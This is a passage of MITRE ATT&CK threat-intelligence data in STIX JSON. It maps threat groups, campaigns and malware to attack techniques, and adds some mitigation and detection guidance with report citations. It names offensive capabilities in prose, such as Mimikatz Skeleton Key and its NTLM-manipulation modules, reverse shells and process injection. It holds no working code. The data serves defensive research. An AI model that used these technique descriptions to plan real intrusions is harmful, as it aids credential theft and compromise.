Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e5f5721-411f-4012-8f52-26e24f6782ea","created":"2023-09-08T15:39:53.135Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T15:39:53.135Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e625aae-d7d7-47a3-ba1a-8deca6321cdc","type":"relationship","created":"2021-06-30T14:41:24.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T14:41:24.383Z","description":"(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e641c36-188b-480e-b177-e412cd000b34","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"source_name":"Metcalf 2015","description":"Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.","url":"http://adsecurity.org/?p=1275"}],"modified":"2019-04-24T23:36:42.358Z","description":"The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.(Citation: Adsecurity Mimikatz Guide)(Citation: Metcalf 2015)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used PowerShell for execution.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T14:51:58.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e6910db-1606-43a2-9812-22b5597d8472","type":"relationship","created":"2020-12-29T17:42:13.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-29T17:42:13.720Z","description":"[DropBook](https://attack.mitre.org/software/S0547) has used legitimate web services to exfiltrate data.(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e6c72b6-ed92-4574-af75-c5115836e3ec","created":"2024-03-28T18:01:19.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:36:22.409Z","description":"(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"campaign--a82bc5ad-5f95-4c6a-9f25-aaf6f476a3c4","target_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e6f67c0-ba84-48f2-a322-2a7cb7a5cd02","type":"relationship","created":"2020-11-18T21:00:36.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-18T21:00:36.316Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can identity the current process on a compromised host.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6e6f9a76-23b6-4474-abc1-3d477284c220","created":"2022-07-18T20:54:20.227Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used Python scripts for port scanning or building reverse shells.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T20:54:20.227Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e6fe0e8-fb0f-40b8-bb8c-4c6aba839618","type":"relationship","created":"2021-11-19T17:28:17.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-11-19T17:28:17.924Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to modify its process memory to hide process command-line arguments.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e73108a-836f-47ad-b88a-6b9a70ebcb7b","type":"relationship","created":"2021-02-22T16:46:22.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T16:46:22.940Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) has the ability to decrypt its RC4 encrypted payload for execution.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e740c5b-250c-4122-a095-4ca31718d861","created":"2024-07-19T18:32:31.296Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:32:31.296Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) utilizes thread spoofing of existing email threads in order to execute spear phishing operations.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e743193-6a74-422a-bdea-c0d4abbf9ad9","type":"relationship","created":"2020-01-19T16:54:28.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-19T16:54:28.884Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e751301-3697-4851-b55c-259976891406","type":"relationship","created":"2020-08-24T13:43:00.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2021-06-07T19:23:33.352Z","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e757efa-8231-4674-a1ea-e234e2dfb838","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.872Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) actors obtained a list of active processes on the victim and sent them to C2 servers.(Citation: DustySky)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e763ef9-94cb-4244-bea8-86e6d19bfb71","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.419Z","description":"(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e79a5b7-c12b-4f4c-a7a2-40141389e40e","created":"2024-08-13T20:14:43.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:55:46.535Z","description":"(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e83dba5-a1ea-4a65-bc14-541bd89955a7","created":"2022-10-14T15:28:00.969Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:28:00.969Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) can use SSL/TLS for its HTTPS Telegram Bot API-based C2 channel.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e855990-62ed-4a9f-ad96-be4b50855492","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e8621ee-9a1f-4a61-86f4-aae3c3d20d0c","created":"2019-06-05T17:31:22.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"TrendMicro PE_URSNIF.A2","description":"Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279"},{"source_name":"FireEye Ursnif Nov 2017","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.892Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has injected code into target processes via thread local storage callbacks.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro PE_URSNIF.A2)(Citation: FireEye Ursnif Nov 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e906ef1-2984-4d8e-ba9f-5f40f30f996e","created":"2023-08-14T14:35:37.768Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.461Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) has the ability to execute a malicious DLL by injecting into `explorer.exe` on a compromised machine.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e9b093c-a8c4-4da8-ac07-3e019ce9e16e","created":"2024-07-12T19:16:59.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T21:43:29.153Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) uses native Windows APIs to determine if the process is being debugged and analyzed, such as `CheckRemoteDebuggerPresent`, `NtQueryInformationProcess`, `ProcessDebugPort`, and `ProcessDebugFlags`.(Citation: Zscaler Pikabot 2023) Other [Pikabot](https://attack.mitre.org/software/S1145) variants populate a global list of Windows API addresses from the `NTDLL` and `KERNEL32` libraries, and references these items instead of calling the API items to obfuscate execution.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e9c79b0-9b63-4785-be48-033ab5f55a18","type":"relationship","created":"2020-07-16T15:23:48.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.585Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has collected the system architecture, OS version, and MAC address information.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e9ca726-0934-4181-a4e6-51ad9d110318","type":"relationship","created":"2021-06-30T19:51:48.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:51:48.038Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can enumerate processes on a target system.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6e9e0836-7d0c-46ec-b1c9-048652075d81","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"Windows Event Forwarding Payne","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem","description":"Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016."},{"source_name":"Lateral Movement Payne","url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logon behavior (ex: EID 4624 Logon Type 3) using [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne)","modified":"2022-04-20T03:04:14.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e9ed705-5f77-418b-b108-9320d1449272","created":"2024-08-27T18:53:13.902Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T18:53:13.902Z","description":"[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) used HTTPS for command and control of compromised Versa Director servers.(Citation: Lumen Versa 